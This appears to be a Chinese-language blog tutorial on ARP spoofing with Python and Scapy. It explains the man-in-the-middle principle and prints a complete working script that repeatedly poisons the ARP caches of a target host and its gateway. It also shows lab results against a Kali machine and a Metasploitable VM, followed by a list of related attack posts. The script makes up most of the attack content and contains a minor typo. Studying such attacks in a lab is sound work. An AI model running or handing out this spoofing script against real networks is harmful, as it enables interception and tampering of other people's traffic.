python+scapy实现ARP欺骗
python+scapy实现ARP欺骗
- 需要下载的库
- ARP欺骗原理
- 源代码:
- 运行结果
需要下载的库
可以直接通过pip下载
pip install scapy
ARP欺骗原理
设网关的IP为10.10.10.1,MAC为11:22:33:44:55:AA;
攻击主机的IP为10.10.10.3,MAC为11:22:33:44:55:CC;
受害主机的IP为10.10.10.2,MAC为11:22:33:44:55:BB;
1、攻击主机向网关和目标主机发送ARP欺骗报文,告诉目标主机pc2我是网关,但包中的mac地址为攻击主机pc1的mac地址;告诉网关我是目标主机pc2,但包中的mac地址为攻击主机pc1的mac地址。
2、3即目标主机和网关之间的联系,其实都是向攻击主机发送,由攻击主机先接收,再由攻击主机发送原本应该接收的主机。
源代码:
其中getmac函数对于返回包中源mac地址获取,可以参考python3编写arp扫描器[玩具]中有对srp返回包的结构分析(很详细!)
from scapy.all import *def getmac(target_ip):arp_p=Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1,pdst=target_ip)ans=srp(arp_p,timeout=2,verbose=False)return ans[0].res[0][1][1].fields['hwsrc']#返回mac地址def spoofarpcache(target_ip,target_mac,source_ip):spoofed=ARP(op=2,pdst=target_ip,psrc=source_ip,hwdst=target_mac)send(spoofed,verbose=False)def restorearp(target_ip,target_mac,source_ip,source_mac):packet=ARP(op=2,hwsrc=source_mac,psrc=source_ip,hwdst=target_mac,pdst=target_ip)send(packet,verbose=False)print("ARP Table restored to normal for",target_ip)def main():target_ip=input("Enter Target IP:")gateway_ip=input("Enter Gateway IP:")try:target_mac=getmac(target_ip)print("Target MAC:",target_mac)except:print("Target machine did not respond ARP broadcast.")quit()try:gateway_mac=getmac(gateway_ip)print("Gateway MAC:",gateway_mac)except:print("Gateway is unreachable.")quit()try:print("Sending spoofed ARP responses.")while True:spoofarpcache(target_ip,target_mac,gateway_ip)spoofarpcache(gateway_ip,gateway_mac,target_ip)except:pirnt("ARP spoofing stopped.")restorearp(gateway_ip,gateway_mac,target_ip,target_mac)restorearp(target_ip,target_mac,gateway_ip,gateway_mac)quit()
if __name__=="__main__":main()
运行结果
攻击主机为我的kali主机,目标主机为metasploitable-win2k8虚拟靶机,py是在kali上运行的。
运行结果(kali ip为192.168.44.129,mac为00:0C:29:F6:66:EA;虚拟靶机ip为192.168.44.134 ,mac为00:0C:29:8E:C0:8D;网关ip为192.168.44.2,mac为00:50:56:EE:9D:38):
运行py截图:
原靶机上arp-a,网关的mac地址:
ARP欺骗后(运行后),网关的mac地址变为kali的mac地址:
python+scapy实现ARP欺骗相关推荐
- python scapy实现ARP欺骗与DNS欺骗
(仅限python2.7.15) 关于ARP ARP协议(地址解析协议),是一个能够将IP地址转换为MAC地址来让设备间通讯的协议,由于设备间进行网络通讯时,需要将网络层IP数据包包头中的IP地址信息 ...
- arp协议分析python编程实现arp欺骗抓图片
arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...
- python arp欺骗
使用python构造一个arp欺骗脚本 import os import sys from scapy.all import * import optparse def main():usage=&q ...
- python的arp欺骗_python arp欺骗
使用python构造一个arp欺骗脚本 import os import sys from scapy.all import * import optparse def main(): usage=& ...
- 使用arp欺骗进行同一局域网内的抓包
环境 操作系统: MacOS 10.13.4 包管理工具:MacPorts 2.4.4 arp欺骗工具:arpspoof 2.4 抓取局域网内的IP地址的工具:nmap 7.70 抓包工具:Wires ...
- 从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现
邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址. 其中邻居子系统相当于地址解析协议(IPv4的ARP协议, ...
- Python黑帽编程 3.1 ARP欺骗
Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据 ...
- python之arp欺骗
kali使用Ettercap进行arp欺骗 arp欺骗原理:明天补上 192.168.0.105加入target1,192.168.0.1网关加入target2 点击MITM中的ARP windows ...
- python 实现MAC泛洪与ARP欺骗
声明:本文章的一切内容仅用于交流与学习 目录 一.Python scapy 二.MAC泛洪 三.ARP欺骗 一.Python scapy scapy提供了构造.发送.接收.分析数据包的功能 scapy ...
最新文章
- MariaDB 基金会 CEO 宣布将于 10 月 1 日卸任
- Spring Boot 2.2.0 正式发布,大幅性能提升 + Java 13 支持
- 进入postgresql
- java 实现一段文字中,出现次数最多的字
- 看完这15张动图,秒懂万有引力与航天难点!
- 树莓派3vnc分辨率设置
- 电子助力方向机控制模块_【技师投稿】使用道通MS908PRO更换宝马F20底盘方向机...
- 9-Shell的逻辑操作符知识介绍-实践及企业案例脚本剖析
- 关于python pandas read_csv的理解
- c语言语法大全,oc语言基本语法汇总分析
- 传递闭包c语言算法解析,找关系的传递闭包 用c语言编 一个关系的传递闭包
- 搜狗推送工具只搜狗快速收录方法点解
- 动词ing形式的5种用法_动词ing形式的用法及变化规则.
- Spoon Kettle 输入之 excel 输入详解(Microsoft Excel input)
- 【Vue报错】This is probably not a problem with npm. There is likely additional logging output above
- MACBOOK快捷键输入
- 开发新产品的三个验证阶段(EVT/DVT/PVT)
- 小小突击队服务器维护多久,《小小突击队》08月06日更新公告
- APP开发中这十个细节能直接影响到用户体验,那么如何提升用户体验?
- db2 修改表空间自增长_db2自动调整表空间的大小 - 木子日京的个人空间 - 51Testing软件测试网 51Testing软件测试网-软件测试人的精神家园...